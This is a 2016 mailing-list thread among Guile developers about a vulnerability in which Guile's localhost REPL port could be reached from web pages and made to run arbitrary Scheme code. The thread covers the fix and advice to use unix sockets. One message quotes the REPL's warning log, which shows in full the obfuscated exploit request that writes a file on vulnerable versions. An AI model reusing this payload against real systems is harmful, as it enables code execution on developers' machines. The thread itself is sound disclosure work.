Re: Guile security vulnerability w/ listening on localhost + port (with fix)

[Andy Wingo]

Hi!

On Fri 14 Oct 2016 23:55, Lizzie Dixon <_...@lizzie.io> writes:

> 

I know it's a late kudo but still -- great investigation and writeup,
thank you for digging in to this one :)

Andy

Re: Guile security vulnerability w/ listening on localhost + port (with fix)

[Lizzie Dixon]

Hi Christopher,

On 10/16, Christopher Allan Webber wrote:
> So, I guess this will work from a public site as well?  

Yes! The HTML I mentioned in my post is available here:



(Though note that it won't work if you visit it over HTTPS, since
HTTPS documents aren't allowed to XHR to HTTP.)

If you visit it while a guile 2.0.13 repl is listening on 37146,
you'll see this:

[lizzie@empress b.l.i]$ guile --listen
GNU Guile 2.0.13
Copyright (C) 1995-2016 Free Software Foundation, Inc.

Guile comes with ABSOLUTELY NO WARRANTY; for details type `,show w'.
This program is free software, and you are welcome to redistribute it
under certain conditions; type `,show c' for details.

Enter `,help' for help.
scheme@(guile-user)> 
@
@@ POSSIBLE BREAK-IN ATTEMPT ON THE REPL SERVER@@
@@ BY AN HTTP INTER-PROTOCOL EXPLOITATION ATTACK.  See:@@
@@  @@
@@ Possible HTTP request received: "GET 
/?(let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)(((lambda(x)x)with-output-to-file)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)110))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)111))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)46))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)120))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116)))(lambda()(((lambda(x)x)display)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)62))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)58))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)41))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)10)))
 HTTP/1.1\r\nHost: localhost:37146\r\nConnection: keep-alive\r\nOrigin: 
http://s3-us-west-2.amazonaws.com\r\nUser-Agent: Mozilla/5.0 (X11; Linux 
x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 
Safari/537.36\r\nAccept: */*\r\nReferer: 
http://s3-us-west-2.amazonaws.com/blog.lizzie.io/exploiting-CVE-2016-8606-exploit.html\r\nAccept-Encoding:
 gzip, deflate, sdch\r\nAccept-Language: en-US,en;q=0.8\r\n\r\n"
@@ The associated socket has been closed.  @@
@


I don't recommend visiting it while a 2.0.12 repl is open, but it will
write a file in that case.

> I'm always a bit fuzzy about what browsers do and don't allow, but
> I'm stunned that a browser will let a request from some
> http://foo.example/ to http://localhost:37146/, even for just a GET.
> It seems like there are all sorts of daemons you can exploit that
> way.

It's a little absurd, yeah. :/ Maybe this string of exploits will
convince others to reconsider, but probably this kind of vulnerability
will be around for a while.

Thanks,

Lizzie.


signature.asc
Description: PGP signature

Re: Guile security vulnerability w/ listening on localhost + port (with fix)

[Arne Babenhauserheide]

Christopher Allan Webber writes:
> browsers do and don't allow, but I'm stunned that a browser will let a
> request from some http://foo.example/ to http://localhost:37146/, even
> for just a GET.  It seems like there are all sorts of daemons you can
> exploit that way.

This can be pretty useful for embedding an iframe with a local service
(I do that for babcom[1]: Decentralized comments over Freenet, sadly still
pretty slow, because I’m using an in-Freenet system for that which
wasn’t optimized for the usecase).

On the downside, companies use the same methods to connect local
services with playback-restrictions (DRM) which aren’t easily doable via
the web alone. Likely this is the reason why it’s still possible, though
I’d wish it were the other way round (possible for the good usages, not
possible for the problematic-but-profitable ones)…

[1]: http://www.draketo.de/proj/freecom/

Best wishes,
Arne
-- 
Unpolitisch sein
heißt politisch sein
ohne es zu merken


signature.asc
Description: PGP signature

Re: Guile security vulnerability w/ listening on localhost + port (with fix)

[Christopher Allan Webber]

Lizzie Dixon writes:

> Hi,
>
> On 10/11, Christopher Allan Webber wrote:
>> The default in Guile has been to expose a port over localhost to which
>> code may be passed.  The assumption for this is that only a local user
>> may write to localhost, so it should be safe.  Unfortunately, users
>> simultaneously developing Guile and operating modern browsers are
>> vulnerable to a combination of an html form protocol attack [1] and a
>> DNS rebinding attack [2].  How to combine these attacks is published in
>> the article "How to steal any developer's local database" [3].
>
>> 
>> In Guile's case, the general idea is that you visit some site which
>> presumably loads some javascript code (or tricks the developer into
>> pressing a button which performs a POST), and the site operator switches
>> the DNS from their own IP to 127.0.0.1.  Then a POST is done from the
>> website to 127.0.0.1 with the body containing scheme code.  This code is
>> then executed by the Guile interpreter on the listening port.
>
> You don't need to rebind DNS to exploit this bug, or other bugs like
> it. I wrote some details here:
>
> 
>
> Best,
>
> Lizzie.

Hi Lizzie!  Thanks for the post.  Interesting to see you figured out how
to do it with a GET request, not just a POST.  So, I guess this will
work from a public site as well?  I'm always a bit fuzzy about what
browsers do and don't allow, but I'm stunned that a browser will let a
request from some http://foo.example/ to http://localhost:37146/, even
for just a GET.  It seems like there are all sorts of daemons you can
exploit that way.

Anyway, thanks for the interesting blogpost, and kudos for using Guile
to write your example!
 - Chris

Re: Guile security vulnerability w/ listening on localhost + port (with fix)

[Lizzie Dixon]

Hi,

On 10/11, Christopher Allan Webber wrote:
> The default in Guile has been to expose a port over localhost to which
> code may be passed.  The assumption for this is that only a local user
> may write to localhost, so it should be safe.  Unfortunately, users
> simultaneously developing Guile and operating modern browsers are
> vulnerable to a combination of an html form protocol attack [1] and a
> DNS rebinding attack [2].  How to combine these attacks is published in
> the article "How to steal any developer's local database" [3].

> 
> In Guile's case, the general idea is that you visit some site which
> presumably loads some javascript code (or tricks the developer into
> pressing a button which performs a POST), and the site operator switches
> the DNS from their own IP to 127.0.0.1.  Then a POST is done from the
> website to 127.0.0.1 with the body containing scheme code.  This code is
> then executed by the Guile interpreter on the listening port.

You don't need to rebind DNS to exploit this bug, or other bugs like
it. I wrote some details here:



Best,

Lizzie.


signature.asc
Description: PGP signature

Re: Guile security vulnerability w/ listening on localhost + port (with fix)

[Nala Ginrut]

On Tue, 2016-10-11 at 09:01 -0500, Christopher Allan Webber wrote:
> The Guile team has just pushed out a new commit on the Guile stable-2.0
> branch addressing a security issue for Guile.  There will be a release
> shortly as well.  The commit is
> 08c021916dbd3a235a9f9cc33df4c418c0724e03, or for web viewing purposes:
> 
>   http://git.savannah.gnu.org/cgit/guile.git/commit/?h=stable-2.0=08c021916
> dbd3a235a9f9cc33df4c418c0724e03
> 
> Due to the nature of this bug, Guile applications themselves in general
> aren't vulnerable, but Guile developers are.  Arbitrary scheme code may
> be used to attack your system in this scenario.
> 
> There is also a lesson here that applies beyond Guile: the presumption
> that "localhost" is only accessible by local users can't be guaranteed
> by modern operating system environments.  If you are looking to provide
> local-execution-only, we recommend using unix domain sockets or named
> pipes.  Don't rely on localhost plus some port.
> 


Indeed, I've considered to do so in Artanis too.
But maybe we should provide both just like what php-fpm does? And let users
choose which one to use, localhost:port or unix socket.